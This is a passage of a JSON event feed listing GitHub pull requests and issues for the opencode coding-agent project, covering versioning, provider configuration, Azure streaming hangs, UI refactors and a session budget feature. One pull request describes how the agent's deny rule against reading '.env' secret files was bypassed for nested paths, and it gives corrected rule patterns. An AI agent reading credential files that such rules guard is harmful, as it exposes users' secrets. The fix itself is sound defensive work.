          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(client): prevent stale service replacement",
          "text": "## What Prevent an older CLI or Desktop client from replacing a newer managed background service. ## Before / After **Before** A client required its exact installed version. After an update, an older client saw the newer service as incompatible and replaced it with the older binary. A newer client could then replace that service again. **After** CLI and Desktop accept a service at the same or a newer comparable version. A newer client still sees an older service as incompatible, so normal automatic upgrades continue. ```mermaid flowchart TD A[Client discovers service] --> B{Service version >= client?} B -->|Yes| C[Reuse service] B -->|No| D[Existing replacement path] ``` ## How - `packages/client/src/service-version.ts` compares stable and numeric preview versions and conservatively accepts incomparable development versions. - `packages/cli/src/services/service-config.ts` uses the compatibility predicate for managed startup. - `packages/desktop/src/main/background-cli.ts` applies the same policy. - Client tests verify numeric ordering and that a stale real child-process client neither stops nor replaces a newer service. ## Scope This PR only changes version compatibility policy. It does not change stop authentication, PID signaling, Promise registration validation, migration polling, service election, or TUI presentation. ## Testing - `cd packages/client && bun run test` - `cd packages/client && bun typecheck` - `cd packages/cli && bun run test test/server-connection.test.ts --test-name-pattern 'service options'` - `cd packages/cli && bun typecheck` - `cd packages/desktop && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42185",
          "createdAt": "2026-08-12T23:59:34Z",
          "updatedAt": "2026-08-13T01:40:37Z",
          "timestamp": "2026-08-13T01:40:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6830a85fa53f34ab11c7",
        "signalId": "github:anomalyco/opencode:pull_request:42206",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42206",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): omit implicit cd autocomplete prefix",
          "text": "## Summary - show current-directory `/cd` autocomplete entries without an implicit `./` prefix - preserve explicit `../`, `~/`, and absolute prefixes ## Tests - `bun test test/prompt/autocomplete.test.ts` - `bun run typecheck`",
          "url": "https://github.com/anomalyco/opencode/pull/42206",
          "createdAt": "2026-08-13T01:20:41Z",
          "updatedAt": "2026-08-13T01:39:45Z",
          "timestamp": "2026-08-13T01:39:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "jlongster",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3b1ad5561e2c668470e1",
        "signalId": "github:anomalyco/opencode:issue:30519",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:30519",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Allow custom provider models to reference official model definitions from Models.dev",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I am about to request hasn't been suggested before. ### Describe the enhancement you want to request **TL;DR**: Allow a model in a custom provider to reference/alias an official model definition from Models.dev by ID, so limit, modalities, reasoning, interleaved, cost, etc. are inherited automatically without manual duplication. --- #### Problem Many users run self-hosted gateways or proxies (e.g. LiteLLM, OpenRouter-style routers, or enterprise AI hubs) that re-expose models already cataloged in Models.dev under providers like `zai`, `moonshotai`, `minimax`, `anthropic`, etc. Currently, every custom provider that offers these models must **manually re-specify** all model metadata: ```jsonc { \"provider\": { \"my-gateway\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://my-gateway.example.com/api/v1\" }, \"models\": { \"glm-5.1\": { \"name\": \"GLM-5.1\", \"reasoning\": true, \"tool_call\": true, \"temperature\": true, \"attachment\": false, \"interleaved\": { \"field\": \"reasoning_content\" }, \"modalities\": { \"input\": [\"text\"], \"output\": [\"text\"] }, \"limit\": { \"context\": 200000, \"output\": 131072 } }, \"kimi-k2.6\": { \"name\": \"Kimi-K2.6\", \"reasoning\": true, \"tool_call\": true, \"temperature\": true, \"attachment\": true, \"modalities\": { \"input\": [\"text\", \"image\"], \"output\": [\"text\"] }, \"limit\": { \"context\": 262144, \"output\": 131072 } }, \"MiniMax-M2.7\": { \"name\": \"MiniMax-M2.7\", \"reasoning\": true, \"tool_call\": true, \"temperature\": true, \"modalities\": { \"input\": [\"text\"], \"output\": [\"text\"] }, \"limit\": { \"context\": 204800, \"output\": 131072 } } } } } } ``` When the same models appear under multiple custom providers, all metadata is duplicated. This is error-prone and drifts out of sync with upstream model updates. #### Suggested behavior Add a way for a model in a custom provider to **reference** an official model definition. Proposed syntax options: **Option A — `ref` field (model-level reference)** ```jsonc { \"provider\": { \"my-gateway\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://my-gateway.example.com/api/v1\" }, \"models\": { \"glm-5.1\": { \"ref\": \"zai/glm-5.1\" }, \"kimi-k2.6\": { \"ref\": \"moonshotai/kimi-k2.6\" }, \"MiniMax-M2.7\": { \"ref\": \"minimax/MiniMax-M2.7\" } } } } } ``` **Option B — use `id` to auto-resolve from global Models.dev index** If a model `id` matches a known model in any Models.dev provider, automatically hydrate metadata: ```jsonc { \"provider\": { \"my-gateway\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://my-gateway.example.com/api/v1\" }, \"models\": { \"glm-5.1\": {}, // auto-resolved from zai/glm-5.1 in Models.dev \"kimi-k2.6\": {}, // auto-resolved from moonshotai/kimi-k2.6 \"MiniMax-M2.7\": {} // auto-resolved from minimax/MiniMax-M2.7 } } } } ``` In both options, explicit user config fields should take precedence over the referenced definition (deep merge with user wins). #### Benefits 1. **DRY** — no more duplicating limit, modalities, reasoning, interleaved, cost across custom providers. 2. **Accuracy** — metadata stays in sync with Models.dev as upstream providers update specs. 3. **Ergonomics** — adding a model to a custom gateway becomes a one-liner instead of a 10-line block. #### Related - #25407 — Requests auto-hydration from `/v1/models` endpoint (complementary but different: that issue is about runtime discovery, this issue is about static config referencing). - #22253 — Custom provider models crash when `limit` is not defined (this would also be mitigated by auto-hydration from Models.dev). - #18486 — Custom providers do not inherit provider loaders (related inheritance gap).",
          "url": "https://github.com/anomalyco/opencode/issues/30519",
          "createdAt": "2026-06-03T07:42:49Z",
          "updatedAt": "2026-08-13T01:37:52Z",
          "timestamp": "2026-08-13T01:37:52Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [],
          "author": "gzb1128",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ce801f80d66b7a7cb94c",
        "signalId": "github:anomalyco/opencode:pull_request:42171",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42171",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "Rename 'frapper' to 'bash' in tools documentation",
          "text": "frapper means \"to hit\"",
          "url": "https://github.com/anomalyco/opencode/pull/42171",
          "createdAt": "2026-08-12T22:52:20Z",
          "updatedAt": "2026-08-13T01:33:12Z",
          "timestamp": "2026-08-13T01:33:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [
            "needs:title"
          ],
          "author": "lovasoa",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:bc9f6a99f591c0ca5d93",
        "signalId": "github:anomalyco/opencode:issue:42043",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42043",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Cant Compact or Use subagents with free models",
          "text": "### Description When Tried to use free model can use perfectly but when a compactation or subagent triggers the opencode say \"Free usage exceeded, subscribe to Go\" but if i open another session it works but cant compact or use any subagents. been working fine problem appeared this afternoon. Also if i use another provider and compact then use the free opencode model it re compacts now with free model and have to give prompt again to continue coding ### Plugins What ever came with the default installation ### OpenCode version latest ### Steps to reproduce Try to compact seesion Try opening a subagent possibly happend after updating was working fine before that. tried to downgrade but same thing ### Screenshot and/or share link _No response_ ### Operating System _Windows 11_ ### Terminal _Dexktop_",
          "url": "https://github.com/anomalyco/opencode/issues/42043",
          "createdAt": "2026-08-12T14:42:27Z",
          "updatedAt": "2026-08-13T01:29:28Z",
          "timestamp": "2026-08-13T01:29:28Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [],
          "author": "RealCA",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:56b73d31ec04fc3f1bee",
        "signalId": "github:anomalyco/opencode:pull_request:28689",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:28689",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(permission): make * not match / in wildcard patterns, add ** globstar support",
          "text": "### Issue for this PR Closes #28150 ### Type of change - [x] Bug fix ### What does this PR do? **Issue:** Granular read permission deny rules don't block file access. When a user configures `{ read: { \"*.env\": \"deny\", \"*\": \"allow\" } }`, the deny rule is bypassed for paths like `src/.env`. **Root cause:** Wildcard `*` was converted to regex `.*`, which matches any character including `/`. This meant `*.env` matched `src/.env`, `a/b/.env`, making it as broad as `*`. With \"last matching rule wins\" semantics, a later wildcard `*` rule always overrode specific deny rules for any path containing `/`. **Fix:** Made `*` match any characters except `/`, added `**` globstar support for cross-directory matching. This aligns with standard glob semantics (gitignore, bash glob). #### Files changed: **1. `packages/core/src/util/wildcard.ts` — core wildcard matching** Changed the regex generation: - `*` → `[^/]*` (matches any chars except `/`) - `**` → `.*` (matches any chars including `/`) - `?` → `[^/]` (single char except `/`) Uses placeholder tokens to avoid `**` being partially consumed by the `*` replacement and `?` corrupting the `(?:...)?` optional group in `**/`. **2. `packages/opencode/src/util/wildcard.ts` — same changes for the opencode copy** **3. `packages/opencode/src/agent/agent.ts` — updated default permission rules** Patterns that need to match across directories now use `**`: - `read`: `\"*\"` → `\"**\"` (catch-all), `\"*.env\"` → `\"**/*.env\"` (deny at any depth) - `external_directory`: `\"*\"` → `\"**\"` (catch-all) - whitelisted dirs: `\"*\"` suffix → `\"**\"` suffix **4. `packages/opencode/src/permission/index.ts` — defensive validation** Added type check in `fromConfig()` to skip array/null values with a warning. #### Examples: | Pattern | Before (bug) | After (fix) | |---------|-------------|-------------| | `*.env` | matches `.env`, `src/.env`, `a/b/.env` | matches `.env` only | | `**/*.env` | same as `*.env` (no `**` support) | matches `.env`, `src/.env`, `a/b/.env` | | `src/*.env` | matches `src/.env`, `src/a/.env` | matches `src/.env` only | | `src/**/*.env` | not possible | matches `src/.env`, `src/a/.env` | | `*` | matches anything including paths | matches single-segment filenames only | | `**` | same as `*` | matches anything including paths | #### Config migration for users: If your config uses `*` to match files at any depth, change to `**`: ```json // Before (worked because * matched /) { \"read\": { \"*\": \"allow\", \"*.env\": \"deny\" } } // After (use ** for cross-directory) { \"read\": { \"**\": \"allow\", \"**/*.env\": \"deny\" } } ``` ### How did you verify your code works? - All 15 wildcard tests pass (6 new tests added for path-aware matching) - All 85 permission tests pass (5 updated for new wildcard semantics) - 31/40 read tool tests pass (8 env file tests now pass correctly, 1 pre-existing scout timeout unrelated to this change) ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/28689",
          "createdAt": "2026-05-21T17:24:18Z",
          "updatedAt": "2026-08-13T01:28:32Z",
          "timestamp": "2026-08-13T01:28:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "lexlian",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b77d5be347221d6b80f4",
        "signalId": "github:anomalyco/opencode:pull_request:39473",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:39473",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: retry truncated provider streams",
          "text": "### Issue for this PR Closes #37852 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? AI SDK synthesizes an `other` finish when a provider stream ends without a finish reason. OpenCode treated that as a completed `unknown` response, so a subagent could return an empty successful task result. This change converts that synthetic finish into a retryable stream error. It also propagates child assistant errors through the task tool, so retry exhaustion cannot become an empty success. ### How did you verify your code works? - Added tests to cover it - Tested locally, and the issue seems gone - 4 people tried it for ~24 hours, and they confirmed the bug is fixed ### Screenshots / recordings Not applicable: runtime-only change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/39473",
          "createdAt": "2026-07-29T08:34:29Z",
          "updatedAt": "2026-08-13T01:27:50Z",
          "timestamp": "2026-08-13T01:27:50Z",
          "metrics": {
            "reactions": 1,
            "comments": 5
          },
          "labels": [],
          "author": "Davide95",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:96aeb5d29c3dd430356c",
        "signalId": "github:anomalyco/opencode:pull_request:42205",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42205",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "test(core): reuse permission service stub",
          "text": "## What Replace repeated ad-hoc `Permission.Service` test implementations with one small core test helper. Tests keep their local permission assertion capture, denial behavior, post-approval hooks, and `allowsAll` customization without repeating unused service methods. ## How - Add `packages/core/test/lib/permission.ts`, following existing `Layer.mock` test helper conventions. - Default only `allowsAll` to `false`; unspecified service methods retain `Layer.mock`'s fail-on-use behavior. - Migrate the repeated permission layers across core tool, instruction, and runner tests. - Keep the specialized MCP permission mock local because it coordinates deferred permission timing rather than repeating the common service shell. ## Scope Test code only. This does not change production permission behavior or introduce a general mock framework. ## Testing - `cd packages/core && bun run test test/tool-question.test.ts test/tool-shell.test.ts test/tool-read.test.ts test/tool-write.test.ts test/tool-edit.test.ts test/tool-patch.test.ts test/tool-search.test.ts test/tool-skill.test.ts test/tool-webfetch.test.ts test/tool-websearch.test.ts test/session-instructions.test.ts test/session-runner.test.ts test/session-runner-recorded.test.ts` (294 passed) - `cd packages/core && bun typecheck` - Pre-push full workspace typecheck (34 packages passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42205",
          "createdAt": "2026-08-13T01:15:12Z",
          "updatedAt": "2026-08-13T01:27:00Z",
          "timestamp": "2026-08-13T01:27:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0048dfa8589c71ed44b2",
        "signalId": "github:anomalyco/opencode:issue:42147",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42147",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Azure OpenAI large models (gpt-5.6-luna/sol, gpt-5.4, o3) hang in OpenCode due to Responses API streaming",
          "text": "## Bug description When using the native Azure OpenAI provider (`azure`) in OpenCode, small models like `gpt-5-mini` work correctly, but larger models (`gpt-5.6-luna`, `gpt-5.6-sol`, `gpt-5.4`, `o3`) hang indefinitely instead of returning a response. ## Steps to reproduce 1. Configure Azure OpenAI provider with a valid resource and API key: ```powershell $env:AZURE_RESOURCE_NAME = \"<your-resource-name>\" ``` 2. Run OpenCode with a large Azure model: ```powershell opencode run --model azure/gpt-5.6-luna \"hola, responde solo OK\" ``` 3. The command hangs and never returns (tested up to 5 minutes). ## Expected behavior The model should respond, just like `azure/gpt-5-mini` does. ## Actual behavior - `azure/gpt-5-mini` → ✅ works - `azure/gpt-5.6-luna` → ❌ hangs forever - `azure/gpt-5.6-sol` → ❌ hangs forever - `azure/gpt-5.4` → ❌ hangs forever - `azure/o3` → ❌ hangs forever ## Direct API verification I verified that the Azure OpenAI endpoints work correctly when called directly: - **Responses API** (`/openai/v1/responses?api-version=v1`) with `gpt-5.6-luna` responds quickly and streams correctly. - **Chat Completions API** (`/openai/deployments/gpt-5.6-luna/chat/completions?api-version=2025-04-01-preview`) also responds correctly. So the Azure deployment and credentials are fine. The hang only happens through OpenCode. ## Root cause hypothesis OpenCode uses `@ai-sdk/azure`, which defaults to the **Responses API** when calling `azure(deploymentName)`. The Responses API streaming path seems to hang for larger models when consumed by OpenCode, even though the same endpoint works fine with direct `curl`/PowerShell calls. A likely fix would be to either: 1. Allow users to force **Chat Completions API** for Azure models (e.g., via `provider.azure.options.factory: \"chat\"`), or 2. Make `@ai-sdk/azure` default to chat completions for models/deployments where Responses API streaming is unreliable. ## Environment - OS: Windows 11 - OpenCode version: 1.17.11 (also tested on earlier versions) - Azure region: East US 2 - Models deployed: `gpt-5-mini`, `gpt-5.6-luna`, `gpt-5.6-sol`, `gpt-5.4`, `o3` ## Additional context I also tried creating a custom provider using `@ai-sdk/azure` with `useDeploymentBasedUrls: true`, but it still calls `/responses` and returns 404 for `api-version=2025-04-01-preview` because that API version does not support the Responses API on Azure. The only working workaround right now is to use `azure/gpt-5-mini` for everything, which is not ideal for complex tasks.",
          "url": "https://github.com/anomalyco/opencode/issues/42147",
          "createdAt": "2026-08-12T20:51:22Z",
          "updatedAt": "2026-08-13T01:26:24Z",
          "timestamp": "2026-08-13T01:26:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "Str0k",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:da67528dc60ab59af048",
        "signalId": "github:anomalyco/opencode:pull_request:41977",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41977",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(app): align UI packages with solid best practices",
          "text": "## Summary Audit of the app UI against SolidJS best practices ([reference](https://www.brenelz.com/posts/solid-js-best-practices/)), with fixes across `packages/app`, `packages/ui`, and `packages/session-ui`. ### Pass values to JSX props, not signal accessors Components received `Accessor<T>` / `() => T` props and called them internally. JSX props compile to getters, so plain value props stay reactive and components no longer need to know whether a prop came from a signal. - Home views: `HomeProjectsView` (7 props), `HomeSessionsView` (11 props), `HomeSessionStatusController`, sortable row `index` props - Titlebar: `TitlebarTabStrip`, `SessionTabSlot`/`SessionTabEntry`/`DraftTabSlot`, `TabNavItem`/`DraftTabItem`, `TitlebarUpdate` (now object property getters built in `pages/layout.tsx`) - Session page: `SessionSidePanel`, `SessionReviewTab`, `ReviewPanelV2` + sidebar, `MessageTimeline` (`hasScrollGesture`, `shouldAnchorBottom`), `TimelineRowFrame`, `SortableTabV2`/`SortableTerminalTabV2` - Dialogs/settings: `DialogConnectProvider` + pickers (`directory`), `SettingsProvidersV2`, `ModelSelectorPopoverV2View`, `SettingsKeybindsV2View`, `NewSessionStatus` - Context providers: `SDKProvider`, `ModelsProvider`, `ServerSDKProvider`, `ServerSyncProvider`, `DirectoryDataProvider` (also removes the `string | Accessor<string>` union unwrap) - Shared: `ScrollView` `thumbContainer`/`thumbHoverTarget` (union unwrap helper removed), `FileSearchBar`, `MarkdownCopyButton` Where a value feeds a factory that requires an accessor (e.g. `useSortable`, `useProviders`), the component wraps it as `() => props.x` at that boundary. `reviewPanelV2Props` in `session.tsx` keeps its documented deferred-read getter object; `diffs`/`diffsReady` now use property getters to match. ### Use control-flow components Converted inline `cond && <X/>`, JSX ternaries, and `.map` in JSX to `<Show>`/`<For>`/`<Index>`/`<Switch>`: - `dialog-release-notes.tsx` (also removes the `feature()!.media!` non-null assertions via the `Show` callback form), `server-row.tsx`, `status-popover-body.tsx`, `windows-app-menu.tsx`, `debug-bar.tsx`, `titlebar.tsx`, `pages/layout.tsx`, `session.tsx` error boundary and panel frame, `session-todo-dock.tsx` (nested ternary to `Switch`/`Match`), `card.tsx`, `dialog-v2.tsx`, `list.tsx`, `toast.tsx`, and story files - Two deliberate exceptions, each with a comment: `windows-app-menu.tsx` keeps an early return inside the `<For>` callback because a `Show` fallback loses the union narrowing on static menu data, and `toast-v2.tsx` keeps a static `.map` because that JSX is created imperatively outside any Solid root, where a `<For>` computation would never be disposed ### Effects - Removed a dead effect in `status-popover-body.tsx` - `pages/layout.tsx`: `createEffect(() => setV2Toast(true))` (no dependencies) is now `onMount` - `terminal.tsx`: documented the intentional mount-time `sdk()` capture ### Stores - `timeline-playground.stories.tsx`: object-holding signal converted to `createStore` with `reconcile` to keep replace semantics ## Intentionally not changed - Reset-on-key-change and persistence-normalization effects (`global.tsx`, `local.tsx`, review-mode clamp, handoff mirrors): these write durable/persisted state on purpose; a derived value would change persistence semantics - Async-fetch effects (`file-media.tsx`, `open-in-app.tsx`, etc.): converting to `createResource` is a behavioral rewrite, out of scope here - Controller-style bundles (`ReviewPanelV2State`, `SessionFileBrowserState`): objects mixing getters with actions, matching the established controller pattern ## Validation - `bun typecheck` passes in `packages/app`, `packages/ui`, `packages/session-ui`, `packages/desktop` - Unit tests pass: app (676), ui (27), session-ui (83) - Prettier applied to touched files",
          "url": "https://github.com/anomalyco/opencode/pull/41977",
          "createdAt": "2026-08-12T08:57:31Z",
          "updatedAt": "2026-08-13T01:23:41Z",
          "timestamp": "2026-08-13T01:23:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "beta"
          ],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e355c7a2874d00024d82",
        "signalId": "github:anomalyco/opencode:issue:32571",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32571",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Error: Unexpected error  disk I/O error",
          "text": "### Description [chris@worksoul:/vmTmp/git-repos/DevDashboard/1UGMsy6K]$ opencode --log-level DEBUG debug config Error: Unexpected error disk I/O error [chris@worksoul:/vmTmp/git-repos/DevDashboard/1UGMsy6K]$ opencode --version 1.17.7 ### Plugins _No response_ ### OpenCode version 1.17.7 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Nixos ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/32571",
          "createdAt": "2026-06-16T14:56:59Z",
          "updatedAt": "2026-08-13T01:23:14Z",
          "timestamp": "2026-08-13T01:23:14Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "chrissound",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:fb4a9b690d8a89499bc8",
        "signalId": "github:anomalyco/opencode:pull_request:42199",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42199",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(deskltop): use opencode2 in WSL",
          "text": "## Summary - migrate Desktop WSL servers from opencode to opencode2 - require the WSL CLI version to match the Desktop server version exactly - use the official V2 installer with --version for releases - build the Linux CLI only when a local WSL install is requested, then install it with --binary - simplify the WSL controller around the normal user flow ## Verification - bun typecheck from packages/desktop - bun typecheck from packages/cli - bun test src/main/wsl/servers.test.ts from packages/desktop - bun run build from packages/desktop - cross-built cli-linux-x64 with Bun 1.3.14 - installed the local binary in a temporary Debian WSL home and verified opencode2 vlocal",
          "url": "https://github.com/anomalyco/opencode/pull/42199",
          "createdAt": "2026-08-13T00:46:28Z",
          "updatedAt": "2026-08-13T01:20:51Z",
          "timestamp": "2026-08-13T01:20:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:096fa832ea43791b534b",
        "signalId": "github:anomalyco/opencode:pull_request:42202",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42202",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): add per-session budget limit",
          "text": "### Issue for this PR No linked issue — new feature. ### Type of change - [x] New feature ### What does this PR do? Adds an optional per-session budget that stops the assistant when the session cost reaches it, plus a small widget in the TUI sidebar Context panel to view and set it. - `budget` field on the session schema (v1 + current), a nullable `budget` column on the session table, and a generated drizzle migration - `PATCH /session/{id}` accepts `budget` (a number sets it, `null` clears it); sessions can be created with a budget - Enforcement in the V1 prompt loop: after each `step-finish` the accumulated cost is compared against the budget; when crossed, a text part \"Session budget reached. Increase the budget to continue.\" is appended and the loop stops. Re-prompting does not start a new provider turn until the budget is raised (guard at loop entry) - TUI: the Context panel shows `$0.42 / $2.00 budget` (red when exceeded, `unlimited budget` when unset). Mouse scroll over the row adjusts it in $0.25 steps (scrolling below $0.25 clears it), clicking switches to an input — Enter saves, Esc cancels - SDK types regenerated; the OpenAPI encoder drops the null arm of `Schema.NullOr` wrapped in `Schema.optional`, so the sdk build script now widens the update-side budget types to `number | null` Known limitation: enforcement lives in the V1 prompt loop. The durable V2 runner does not compute cost yet (`cost: 0` is hardcoded in `Step.Ended`), so budget stopping is a no-op there until V2 cost accounting lands. Small extra: `packages/core/script/migration.ts` got a Windows fix — `generatedMigrations` split on `/` only, which broke migration generation on Windows. It was required to generate the migration for this PR. ### How did you verify your code works? - `bun typecheck` in packages/schema, core, opencode, tui, sdk/js — all clean - `bun test test/session` in packages/opencode: 383 pass (new tests: budget stops the turn, exhausted budget exits the loop without an LLM request, budget round-trips through Session.Info) - new `packages/tui/test/feature-plugins/sidebar-context.test.tsx`: headless widget tests (render, wheel up/down, clear, click-to-edit, Enter save, Esc cancel) using the OpenTUI test renderer with mock mouse/keys - migration generator `--check` passes - manually ran `bun dev` and exercised the widget with mouse and keyboard ### Screenshots / recordings Char frame from the headless test renderer (the Context panel of the session sidebar): ``` Context 0 tokens 0% used $0.42 spent $0.42 / $2.00 budget ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42202",
          "createdAt": "2026-08-13T00:51:56Z",
          "updatedAt": "2026-08-13T01:20:01Z",
          "timestamp": "2026-08-13T01:20:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "HHrddtu",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a3d6567a0537da9c7641",
        "signalId": "github:anomalyco/opencode:pull_request:42169",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42169",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): restore workspace.project_id for project ID remaps",
          "text": "### Issue for this PR Closes #42170 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Desktop crashed on session load with `Error: no such column: project_id` in `Project.migrateProjectId`. Some builds replaced the `workspace` table with a provider/binding schema and dropped `project_id`. Current `dev` still remaps project IDs with `UPDATE workspace SET project_id = ...`, which 500s and takes the renderer down. This adds a migration that rebuilds the control-plane `workspace` table when `project_id` is missing, and skips the workspace remap if that column is still absent. Session remaps still run. ### How did you verify your code works? - `bun test test/database-migration.test.ts` in `packages/core` - `bun test test/project/project.test.ts` in `packages/opencode` - Reproduced the crash against the local DB, then confirmed desktop boots and sessions load with this change ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42169",
          "createdAt": "2026-08-12T22:41:52Z",
          "updatedAt": "2026-08-13T01:19:42Z",
          "timestamp": "2026-08-13T01:19:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "DatScreamer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:76dea5cb18b0eb008b63",
        "signalId": "github:anomalyco/opencode:issue:6815",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:6815",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add command palette action to reload configuration without restart",
